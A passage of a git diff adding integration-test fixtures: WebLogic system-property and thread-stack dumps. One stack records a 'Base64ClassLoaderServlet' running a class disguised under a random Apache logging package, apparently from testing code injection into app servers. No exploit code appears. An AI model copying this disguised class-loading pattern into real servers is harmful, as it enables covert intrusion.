/opt/oracle/patch_wls1036/profiles/default/sysext_manifest_classpath:/opt/oracle/patch_ocp371/profiles/default/sysext_manifest_classpath +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +javax.xml.soap.MessageFactory: weblogic.webservice.core.soap.MessageFactoryImpl +weblogic.management.discover: true +javax.management.builder.initial: weblogic.management.jmx.mbeanserver.WLSMBeanServerBuilder +file.encoding: UTF-8 +org.omg.CORBA.ORBClass: weblogic.corba.orb.ORB +javax.xml.rpc.ServiceFactory: weblogic.webservice.core.rpc.ServiceFactoryImpl +weblogic.classloader.preprocessor: weblogic.diagnostics.instrumentation.DiagnosticClassPreProcessor +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"[ACTIVE] ExecuteThread: '7' for queue: 'weblogic.kernel.Default (self-tuning)'" #41 daemon [WAITING] on weblogic.work.ExecuteThread@2b0b604b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:205) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:226) + +"[ACTIVE] ExecuteThread: '9' for queue: 'weblogic.kernel.Default (self-tuning)'" #43 daemon [WAITING] on weblogic.work.ExecuteThread@5bdb4eda + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:205) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:226) + +"DynamicListenThread[Default[1]]" #35 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at weblogic.socket.WeblogicServerSocket.accept(WeblogicServerSocket.java:38) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.accept(DynamicListenThread.java:535) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.access$200(DynamicListenThread.java:417) + at weblogic.server.channels.DynamicListenThread.run(DynamicListenThread.java:173) + at java.lang.Thread.run(Thread.java:750) + +"DynamicListenThread[Default[2]]" #36 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at weblogic.socket.WeblogicServerSocket.accept(WeblogicServerSocket.java:38) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.accept(DynamicListenThread.java:535) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.access$200(DynamicListenThread.java:417) + at weblogic.server.channels.DynamicListenThread.run(DynamicListenThread.java:173) + at java.lang.Thread.run(Thread.java:750) + +"DynamicListenThread[Default[3]]" #37 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at weblogic.socket.WeblogicServerSocket.accept(WeblogicServerSocket.java:38) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.accept(DynamicListenThread.java:535) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.access$200(DynamicListenThread.java:417) + at weblogic.server.channels.DynamicListenThread.run(DynamicListenThread.java:173) + at java.lang.Thread.run(Thread.java:750) + +"DynamicListenThread[Default]" #38 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at weblogic.socket.WeblogicServerSocket.accept(WeblogicServerSocket.java:38) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.accept(DynamicListenThread.java:535) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.access$200(DynamicListenThread.java:417) + at weblogic.server.channels.DynamicListenThread.run(DynamicListenThread.java:173) + at java.lang.Thread.run(Thread.java:750) + +"DynamicListenThread[Default[4]]" #39 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at weblogic.socket.WeblogicServerSocket.accept(WeblogicServerSocket.java:38) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.accept(DynamicListenThread.java:535) + at weblogic.server.channels.DynamicListenThread$SocketAccepter.access$200(DynamicListenThread.java:417) + at weblogic.server.channels.DynamicListenThread.run(DynamicListenThread.java:173) + at java.lang.Thread.run(Thread.java:750) + +"weblogic.time.TimeEventGenerator" #15 daemon [TIMED_WAITING] on weblogic.time.common.internal.TimeTable@1de5ac37 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.time.common.internal.TimeTable.snooze(TimeTable.java:286) + at weblogic.time.common.internal.TimeEventGenerator.run(TimeEventGenerator.java:117) + at java.lang.Thread.run(Thread.java:750) + +"Timer-1" #13 daemon [TIMED_WAITING] on java.util.TaskQueue@620dc520 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"[ACTIVE] ExecuteThread: '10' for queue: 'weblogic.kernel.Default (self-tuning)'" #44 daemon [WAITING] on weblogic.work.ExecuteThread@5f3c1575 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:205) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:226) + +"[ACTIVE] ExecuteThread: '2' for queue: 'weblogic.kernel.Default (self-tuning)'" #27 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at weblogic.socket.SocketMuxer.readFromSocket(SocketMuxer.java:988) + at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:922) + at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:889) + at weblogic.socket.JavaSocketMuxer.processSockets(JavaSocketMuxer.java:339) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29) + at weblogic.work.ExecuteThread.execute(ExecuteThread.java:256) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:221) + +"[ACTIVE] ExecuteThread: '6' for queue: 'weblogic.kernel.Default (self-tuning)'" #40 daemon [WAITING] on weblogic.work.ExecuteThread@44381b77 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:205) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:226) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@340de187 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"[ACTIVE] ExecuteThread: '0' for queue: 'weblogic.kernel.Default (self-tuning)'" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at weblogic.socket.SocketMuxer.readFromSocket(SocketMuxer.java:988) + at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:922) + at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:889) + at weblogic.socket.JavaSocketMuxer.processSockets(JavaSocketMuxer.java:339) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29) + at weblogic.work.ExecuteThread.execute(ExecuteThread.java:256) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:221) + +"weblogic.GCMonitor" #28 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6763e016 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at weblogic.platform.GCMonitorThread.waitForNotification(GCMonitorThread.java:88) + at weblogic.platform.GCMonitorThread.run(GCMonitorThread.java:64) + +"main" #1 [WAITING] on weblogic.t3.srvr.T3Srvr@57d77cd9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.t3.srvr.T3Srvr.waitForDeath(T3Srvr.java:981) + at weblogic.t3.srvr.T3Srvr.run(T3Srvr.java:490) + at weblogic.Server.main(Server.java:71) + +"[ACTIVE] ExecuteThread: '12' for queue: 'weblogic.kernel.Default (self-tuning)'" #46 daemon [WAITING] on weblogic.work.ExecuteThread@2d959001 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:205) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:226) + +"[ACTIVE] ExecuteThread: '11' for queue: 'weblogic.kernel.Default (self-tuning)'" #45 daemon [WAITING] on weblogic.work.ExecuteThread@2f453fe1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:205) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:226) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5bff97c6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"[ACTIVE] ExecuteThread: '5' for queue: 'weblogic.kernel.Default (self-tuning)'" #34 daemon [TIMED_WAITING] on weblogic.socket.utils.DynaQueue@2544e7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.socket.utils.DynaQueue.getW(DynaQueue.java:237) + at weblogic.socket.JavaSocketMuxer.processSockets(JavaSocketMuxer.java:332) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29) + at weblogic.work.ExecuteThread.execute(ExecuteThread.java:256) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:221) + +"Thread-11" #26 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@783e67a5 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue.take(JDK15ConcurrentBlockingQueue.java:89) + at weblogic.store.internal.PersistentStoreImpl.getOutstandingWork(PersistentStoreImpl.java:676) + at weblogic.store.internal.PersistentStoreImpl.run(PersistentStoreImpl.java:751) + at java.lang.Thread.run(Thread.java:750) + +"Thread-10" #25 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@14e3fdcf + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue.take(JDK15ConcurrentBlockingQueue.java:89) + at weblogic.store.internal.PersistentStoreImpl.getOutstandingWork(PersistentStoreImpl.java:676) + at weblogic.store.internal.PersistentStoreImpl.run(PersistentStoreImpl.java:751) + at java.lang.Thread.run(Thread.java:750) + +"VDE Transaction Processor Thread" #22 daemon [WAITING] on com.octetstring.vde.backend.standard.TransactionProcessor@6ab48e84 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.octetstring.vde.backend.standard.TransactionProcessor.waitChange(TransactionProcessor.java:367) + at com.octetstring.vde.backend.standard.TransactionProcessor.run(TransactionProcessor.java:212) + +"[ACTIVE] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'" #42 daemon [WAITING] on weblogic.work.ExecuteThread@9916860 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:205) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:226) + +"DoSManager" #24 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.octetstring.vde.DoSManager.run(DoSManager.java:433) + +"[ACTIVE] ExecuteThread: '1' for queue: 'weblogic.kernel.Default (self-tuning)'" #17 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.logging.wRqXT.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:227) + at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:125) + at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:301) + at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:26) + at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:56) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:56) + at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3730) + at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3696) + at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:321) + at weblogic.security.service.SecurityManager.runAs(SecurityManager.java:120) + at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2273) + at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2179) + at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1490) + at weblogic.work.ExecuteThread.execute(ExecuteThread.java:256) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:221) + +"Timer-0" #12 daemon [WAITING] on java.util.TaskQueue@33051932 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"[ACTIVE] ExecuteThread: '4' for queue: 'weblogic.kernel.Default (self-tuning)'" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at weblogic.socket.SocketMuxer.readFromSocket(SocketMuxer.java:988) + at weblogic.socket.SocketMuxer.readReadySocketOnce(SocketMuxer.java:922) + at weblogic.socket.SocketMuxer.readReadySocket(SocketMuxer.java:889) + at weblogic.socket.JavaSocketMuxer.processSockets(JavaSocketMuxer.java:339) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:29) + at weblogic.work.ExecuteThread.execute(ExecuteThread.java:256) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:221) + +"weblogic.timers.TimerThread" #16 daemon [TIMED_WAITING] on weblogic.timers.internal.TimerThread@19ad71c9 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.timers.internal.TimerThread$Thread.run(TimerThread.java:262) + +"[ACTIVE] ExecuteThread: '3' for queue: 'weblogic.kernel.Default (self-tuning)'" #32 daemon [WAITING] on weblogic.work.ExecuteThread@52e4f11a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:205) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:226) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.octetstring.vde.DoSManager +com.octetstring.vde.backend.standard.TransactionProcessor +org.apache.logging.wRqXT.ErrorHandler +weblogic.Server +weblogic.platform.GCMonitorThread +weblogic.security.acl.internal.AuthenticatedSubject +weblogic.security.service.SecurityManager +weblogic.server.channels.DynamicListenThread +weblogic.server.channels.DynamicListenThread$SocketAccepter +weblogic.servlet.internal.FilterChainImpl +weblogic.servlet.internal.ServletRequestImpl +weblogic.servlet.internal.ServletStubImpl +weblogic.servlet.internal.StubSecurityHelper +weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction +weblogic.servlet.internal.TailFilter +weblogic.servlet.internal.WebAppServletContext +weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction +weblogic.socket.JavaSocketMuxer +weblogic.socket.SocketMuxer +weblogic.socket.SocketReaderRequest +weblogic.socket.WeblogicServerSocket +weblogic.socket.utils.DynaQueue +weblogic.store.internal.PersistentStoreImpl +weblogic.t3.srvr.T3Srvr +weblogic.time.common.internal.TimeEventGenerator +weblogic.time.common.internal.TimeTable +weblogic.timers.internal.TimerThread$Thread +weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue +weblogic.work.ExecuteThread diff --git a/integration-test/src/test/resources/infos/WebLogic12214ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/WebLogic12214ContainerTestBasicInfo.txt new file mode 100644 index 00000000..0d73d1a3 --- /dev/null +++ b/integration-test/src/test/resources/infos/WebLogic12214ContainerTestBasicInfo.txt @@ -0,0 +1,463 @@ +# Generated At 2025-08-10 15:02:14 +SystemProps: +com.sun.jersey.server.impl.cdi.lookupExtensionInBeanManager: true +java.runtime.name: Java(TM) SE Runtime Environment +java.protocol.handler.pkgs: weblogic.utils|weblogic.utils +sun.boot.library.path: /u01/jdk/jre/lib/aarch64 +java.vm.version: 25.411-b60 +javax.management.builder.initial: weblogic.management.jmx.mbeanserver.WLSMBeanServerBuilder +oracle.jms.useJmsNotification: false +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +user.country: US +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /u01/oracle/user_projects/domains/domain1 +java.runtime.version: 1.8.0_411-b60 +vde.home: /u01/oracle/user_projects/domains/domain1/servers/admin-server/data/ldap +javax.rmi.CORBA.UtilClass: weblogic.iiop.UtilDelegateImpl +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /u01/jdk/jre/lib/endorsed +os.arch: aarch64 +java.io.tmpdir: /tmp +line.separator: + +weblogic.Name: admin-server +java.vm.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: weblogic.jndi.factories:weblogic.corba.j2ee.naming.url:weblogic.jndi.factories:weblogic.corba.j2ee.naming.url +os.name: Linux +weblogic.home: /u01/oracle/wlserver/server +sun.jnu.encoding: ANSI_X3.4-1968 +org.omg.CORBA.ORBSingletonClass: weblogic.corba.orb.ORB +java.system.class.loader: com.oracle.classloader.weblogic.LaunchClassLoader +java.library.path: :/u01/oracle/oracle_common/adr::/u01/oracle/wlserver/server/native/linux/aarch64:/u01/oracle/wlserver/server/native/linux/aarch64/oci920_8:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +org.omg.CORBA.ORBClass: weblogic.corba.orb.ORB +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +weblogic.StdoutDebugEnabled: false +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +wls.home: /u01/oracle/wlserver/server +user.home: /home/oracle +javax.rmi.CORBA.PortableRemoteObjectClass: weblogic.iiop.PortableRemoteObjectDelegateImpl +java.security.policy: /u01/oracle/wlserver/server/lib/weblogic.policy +user.timezone: GMT +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.8 +java.class.path: /u01/jdk/lib/tools.jar:/u01/oracle/wlserver/server/lib/weblogic.jar:/u01/oracle/wlserver/../oracle_common/modules/thirdparty/ant-contrib-1.0b3.jar:/u01/oracle/wlserver/modules/features/oracle.wls.common.nodemanager.jar:/u01/oracle/wlserver/common/derby/lib/derbynet.jar:/u01/oracle/wlserver/common/derby/lib/derbyclient.jar:/u01/oracle/wlserver/common/derby/lib/derby.jar +user.name: oracle +java.naming.factory.initial: weblogic.jndi.WLInitialContextFactory +java.vm.specification.version: 1.8 +sun.java.command: weblogic.Server +java.home: /u01/jdk/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_411 +java.ext.dirs: /u01/jdk/jre/lib/ext:/usr/java/packages/lib/ext +launch.use.env.classpath: true +sun.boot.class.path: /u01/jdk/jre/lib/resources.jar:/u01/jdk/jre/lib/rt.jar:/u01/jdk/jre/lib/jsse.jar:/u01/jdk/jre/lib/jce.jar:/u01/jdk/jre/lib/charsets.jar:/u01/jdk/jre/lib/jfr.jar:/u01/jdk/jre/classes +java.vendor: Oracle Corporation +java.specification.maintenance.version: 5 +java.security.egd: file:/dev/./urandom +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"[STANDBY] ExecuteThread: '4' for queue: 'weblogic.kernel.Default (self-tuning)'" #34 daemon [WAITING] on weblogic.work.ExecuteThread@2b057cc5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"weblogic.socket.ServerListenThread" #35 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.server.channels.ServerListenThread.selectFrom(ServerListenThread.java:241) + at weblogic.server.channels.ServerListenThread.processSockets(ServerListenThread.java:137) + at weblogic.server.channels.ServerListenThread.run(ServerListenThread.java:114) + +"weblogic.time.TimeEventGenerator" #23 daemon [TIMED_WAITING] on weblogic.time.common.internal.TimeTable@1f4c7e30 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.time.common.internal.TimeTable.snooze(TimeTable.java:286) + at weblogic.time.common.internal.TimeEventGenerator.run(TimeEventGenerator.java:121) + at java.lang.Thread.run(Thread.java:750) + +"[STANDBY] ExecuteThread: '3' for queue: 'weblogic.kernel.Default (self-tuning)'" #28 daemon [WAITING] on weblogic.work.ExecuteThread@7258515e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@6070bbb9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:171) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"[STANDBY] ExecuteThread: '12' for queue: 'weblogic.kernel.Default (self-tuning)'" #55 daemon [WAITING] on weblogic.work.ExecuteThread@38ea2aad + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '9' for queue: 'weblogic.kernel.Default (self-tuning)'" #49 daemon [WAITING] on weblogic.work.ExecuteThread@67a80f2f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"ExecuteThread: '3' for queue: 'weblogic.socket.Muxer'" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.socket.NIOSocketMuxer.selectFrom(NIOSocketMuxer.java:653) + at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:560) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) + at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) + at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) + at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) + +"[STANDBY] ExecuteThread: '8' for queue: 'weblogic.kernel.Default (self-tuning)'" #48 daemon [WAITING] on weblogic.work.ExecuteThread@5e1ab6a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"VDE Transaction Processor Thread" #39 daemon [WAITING] on com.octetstring.vde.backend.standard.TransactionProcessor@57f98ef2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.octetstring.vde.backend.standard.TransactionProcessor.waitChange(TransactionProcessor.java:429) + at com.octetstring.vde.backend.standard.TransactionProcessor.run(TransactionProcessor.java:216) + +"Thread-19" #42 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@21ff4a3a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue.take(JDK15ConcurrentBlockingQueue.java:89) + at weblogic.store.internal.PersistentStoreImpl.getOutstandingWork(PersistentStoreImpl.java:868) + at weblogic.store.internal.PersistentStoreImpl.synchronousFlush(PersistentStoreImpl.java:1268) + at weblogic.store.internal.PersistentStoreImpl.run(PersistentStoreImpl.java:1260) + at java.lang.Thread.run(Thread.java:750) + +"DoSManager" #41 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.octetstring.vde.DoSManager.run(DoSManager.java:433) + +"Timer-0" #14 daemon [WAITING] on java.util.TaskQueue@28e7a933 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Timer-2" #21 daemon [TIMED_WAITING] on java.util.TaskQueue@54a6ffe1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"weblogic.GCMonitor" #44 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@31ee2bbf + java.lang.Thread.State: 